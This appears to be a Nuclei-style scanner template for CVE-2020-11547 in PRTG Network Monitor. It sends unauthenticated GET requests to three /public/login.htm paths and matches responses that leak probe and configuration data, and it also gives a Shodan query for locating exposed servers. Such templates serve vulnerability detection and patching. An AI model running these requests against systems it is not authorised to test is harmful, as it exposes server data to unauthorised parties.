57 lines
2.1 KiB
YAML
57 lines
2.1 KiB
YAML
id: CVE-2020-11547
|
|
|
|
info:
|
|
name: PRTG Network Monitor <20.1.57.1745 - Information Disclosure
|
|
author: x6263
|
|
severity: medium
|
|
description: PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
|
|
remediation: |
|
|
Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.
|
|
reference:
|
|
- https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
|
|
- https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-11547
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2020-11547
|
|
cwe-id: CWE-306
|
|
epss-score: 0.0011
|
|
epss-percentile: 0.43785
|
|
cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: paessler
|
|
product: "prtg_network_monitor"
|
|
shodan-query: title:"prtg"
|
|
tags: cve,cve2020,prtg,disclosure
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- "{{BaseURL}}/public/login.htm?type=probes"
|
|
- "{{BaseURL}}/public/login.htm?type=requests"
|
|
- "{{BaseURL}}/public/login.htm?type=treestat"
|
|
|
|
stop-at-first-match: true
|
|
req-condition: true
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "prtg_network_monitor"
|
|
- "Probes"
|
|
- "Groups"
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100860912f01eab1a8fc38a0dc7947311378fbfa8c52d1ccca590fbc285d7658268022100e91df6d7b0e6320914b3000d869c20420158befa7917f85dd4f5e752fa4ebb73:922c64590222798bb761d5b6d8e72950 |